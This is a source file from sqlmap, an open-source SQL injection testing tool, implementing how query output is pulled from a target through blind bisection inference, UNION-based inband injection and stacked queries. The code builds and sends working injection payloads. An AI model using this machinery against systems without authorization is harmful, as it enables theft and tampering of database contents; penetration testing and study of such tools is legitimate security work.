mirror of
https://github.com/sqlmapproject/sqlmap.git
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ad228e6947
Added support internally to forge CASE statements, used only by --is-dba query at the moment. Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and SQL shell. Minor code adjustments.
348 lines
13 KiB
Python
348 lines
13 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import cleanQuery
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from lib.core.common import dataToSessionFile
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from lib.core.common import expandAsteriskForColumns
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from lib.core.common import parseUnionPage
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from lib.core.common import readInput
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from lib.core.common import replaceNewlineTabs
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.data import temp
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from lib.core.settings import SECONDS
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from lib.request.connect import Connect as Request
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from lib.techniques.inband.union.use import unionUse
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from lib.techniques.blind.inference import bisection
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from lib.utils.resume import queryOutputLength
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from lib.utils.resume import resume
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def __goInference(payload, expression):
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start = time.time()
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if ( conf.eta or conf.threads > 1 ) and kb.dbms:
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_, length, _ = queryOutputLength(expression, payload)
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else:
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length = None
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dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
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count, value = bisection(payload, expression, length=length)
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duration = int(time.time() - start)
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if conf.eta and length:
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infoMsg = "retrieved: %s" % value
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logger.info(infoMsg)
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infoMsg = "performed %d queries in %d seconds" % (count, duration)
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logger.info(infoMsg)
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return value
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def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
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outputs = []
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for field in expressionFieldsList:
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output = None
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expressionReplaced = expression.replace(expressionFields, field, 1)
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output = resume(expressionReplaced, payload)
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if not output or ( expected == "int" and not output.isdigit() ):
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if output:
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warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
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warnMsg += "sqlmap is going to retrieve the value again"
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logger.warn(warnMsg)
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output = __goInference(payload, expressionReplaced)
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outputs.append(output)
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return outputs
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def __goInferenceProxy(expression, fromUser=False, expected=None):
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"""
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Retrieve the output of a SQL query characted by character taking
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advantage of an blind SQL injection vulnerability on the affected
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parameter through a bisection algorithm.
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"""
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query = agent.prefixQuery(" %s" % temp.inference)
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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count = None
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startLimit = 0
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stopLimit = None
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outputs = []
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test = None
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untilLimitChar = None
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untilOrderChar = None
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output = resume(expression, payload)
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if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
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return output
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if kb.dbmsDetected:
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_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
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if len(expressionFieldsList) > 1:
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infoMsg = "the SQL query provided has more than a field. "
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infoMsg += "sqlmap will now unpack it into distinct queries "
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infoMsg += "to be able to retrieve the output even if we "
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infoMsg += "are going blind"
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logger.info(infoMsg)
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# If we have been here from SQL query/shell we have to check if
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# the SQL query might return multiple entries and in such case
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# forge the SQL limiting the query output one entry per time
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# NOTE: I assume that only queries that get data from a table
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# can return multiple entries
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if fromUser and " FROM " in expression:
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limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
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if limitRegExp:
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if kb.dbms in ( "MySQL", "PostgreSQL" ):
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limitGroupStart = queries[kb.dbms].limitgroupstart
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limitGroupStop = queries[kb.dbms].limitgroupstop
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if kb.dbms in ( "MySQL", "PostgreSQL" ):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[kb.dbms].limitstring)
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expression = expression[:untilLimitChar]
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if not stopLimit or stopLimit <= 1:
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if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
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test = "n"
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else:
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message = "can the SQL query provided return "
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message += "multiple entries? [Y/n] "
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test = readInput(message, default="Y")
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if not test or test[0] in ("y", "Y"):
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# Count the number of SQL query entries output
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countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
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countedExpression = expression.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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count = resume(countedExpression, payload)
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if not stopLimit:
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if not count or not count.isdigit():
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count = __goInference(payload, countedExpression)
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if count and count.isdigit() and int(count) > 0:
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count = int(count)
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message = "the SQL query provided can return "
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message += "up to %d entries. How many " % count
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message += "entries do you want to retrieve?\n"
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message += "[a] All (default)\n[#] Specific number\n"
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message += "[q] Quit\nChoice: "
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test = readInput(message, default="a")
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if not test or test[0] in ("a", "A"):
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stopLimit = count
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elif test[0] in ("q", "Q"):
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return "Quit"
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elif test.isdigit() and int(test) > 0 and int(test) <= count:
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stopLimit = int(test)
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infoMsg = "sqlmap is now going to retrieve the "
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infoMsg += "first %d query output entries" % stopLimit
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logger.info(infoMsg)
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elif test[0] in ("#", "s", "S"):
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message = "How many? "
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stopLimit = readInput(message, default="10")
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if not stopLimit.isdigit():
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errMsg = "Invalid choice"
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logger.error(errMsg)
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return None
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else:
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stopLimit = int(stopLimit)
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else:
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errMsg = "Invalid choice"
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logger.error(errMsg)
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return None
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif ( not count or int(count) == 0 ):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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for num in xrange(startLimit, stopLimit):
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limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
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output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
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outputs.append(output)
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return outputs
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elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
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expression = "%s FROM DUAL" % expression
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outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
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returnValue = ", ".join([output for output in outputs])
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else:
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returnValue = __goInference(payload, expression)
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return returnValue
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def __goInband(expression, expected=None):
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"""
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Retrieve the output of a SQL query taking advantage of an inband SQL
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injection vulnerability on the affected parameter.
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"""
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output = None
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partial = False
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data = []
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condition = (
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kb.resumedQueries and conf.url in kb.resumedQueries.keys()
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and expression in kb.resumedQueries[conf.url].keys()
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)
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if condition:
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output = resume(expression, None)
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if not output or ( expected == "int" and not output.isdigit() ):
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partial = True
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if not output:
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output = unionUse(expression, resetCounter=True)
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if output:
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data = parseUnionPage(output, expression, partial, condition)
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return data
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def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
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"""
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Called each time sqlmap inject a SQL query on the SQL injection
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affected parameter. It can call a function to retrieve the output
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through inband SQL injection (if selected) and/or blind SQL injection
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(if selected).
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"""
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expression = cleanQuery(expression)
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expression = expandAsteriskForColumns(expression)
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value = None
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if inband and conf.unionUse and kb.dbms:
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value = __goInband(expression, expected)
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if not value:
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warnMsg = "for some reasons it was not possible to retrieve "
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warnMsg += "the query output through inband SQL injection "
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warnMsg += "technique, sqlmap is going blind"
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logger.warn(warnMsg)
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conf.paramNegative = False
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if blind and not value:
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value = __goInferenceProxy(expression, fromUser, expected)
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return value
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def goStacked(expression):
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"""
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TODO: write description
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"""
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expression = cleanQuery(expression)
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comment = queries[kb.dbms].comment
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query = agent.prefixQuery("; %s" % expression)
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query = agent.postfixQuery("%s;%s" % (query, comment))
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payload = agent.payload(newValue=query)
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page, _ = Request.queryPage(payload, content=True)
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return payload, page
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